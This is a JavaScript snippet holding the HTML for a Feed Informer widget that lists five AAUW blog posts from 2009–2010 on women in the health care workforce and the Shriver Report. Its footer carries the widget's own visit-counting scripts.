var digesttext = "<!-- Header --><!-- Items --><b><a href=\"http://blog-aauw.org/2010/02/02/workplace-rules-in-the-house-of-medicine-a-difficult-choice-when-health-is-at-stake/\">Workplace Rules in the House of Medicine: A Difficult Choice When Health Is at Stake</a></b><br /> <em>Feb 2, 2010 15:00</em> <br/>More on the Shriver Report: A Woman’s Nation (www.awomansnation.com) The focus of the chapter “Famil..<br /><br /><b><a href=\"http://blog-aauw.org/2009/12/08/underpaid-and-ghettoized/\">Underpaid and Ghettoized!</a></b><br /> <em>Dec 8, 2009 15:00</em> <br/>Women physicians face barriers common to the “New Breadwinners” in A Woman’s Nation. Women are movin..<br /><br /><b><a href=\"http://blog-aauw.org/2009/12/01/imagine-ideas-to-reach-the-ideal/\">Imagine! Ideas to Reach the Ideal</a></b><br /> <em>Dec 1, 2009 19:48</em> <br/>It takes a lot of chutzpah to offer up my concept of the model of perfection when it comes to women ..<br /><br /><b><a href=\"http://blog-aauw.org/2009/11/17/from-the-real-to-the-ideal-%e2%80%94-women-working-in-health-care/\">From the Real to the Ideal — Women Working in Health Care</a></b><br /> <em>Nov 17, 2009 16:52</em> <br/>In last week’s post I promised to take a focused look at women in the health care workforce. For bot..<br /><br /><b><a href=\"http://blog-aauw.org/2009/11/10/from-the-real-to-the-ideal-a-womans-nation-and-the-gender-gap-for-women-in-health-care/\">From the Real to the Ideal: A Woman\'s Nation and the Gender Gap for Women in Health Care</a></b><br /> <em>Nov 10, 2009 16:00</em> <br/>Maria Shriver\'s ambitious report, The Shriver Report — A Woman’s Nation Changes Everything, has grab..<br /><br /><!-- Footer --><div class=\"fdpoweredby\" style=\"text-align: right; font-size: 10px; font-family: sans-serif\"><a style=\"color: #888\" href=\"http://feed.informer.com\">Powered by Feed Informer</a></div><script type=\"text/javascript\">/* <![CDATA[ */document.write(\"<img src=\'http://hits.informer.com/log.php?id=44&amp;r=\"+ Math.round(100000 * Math.random()) + \"\' />\");/* ]]> */</script><script type=\"text/javascript\" src=\"http://208.88.226.83/log_e.php?id=9LZ5AEC8LR&amp;r=0.0218993665825558\"></script>";
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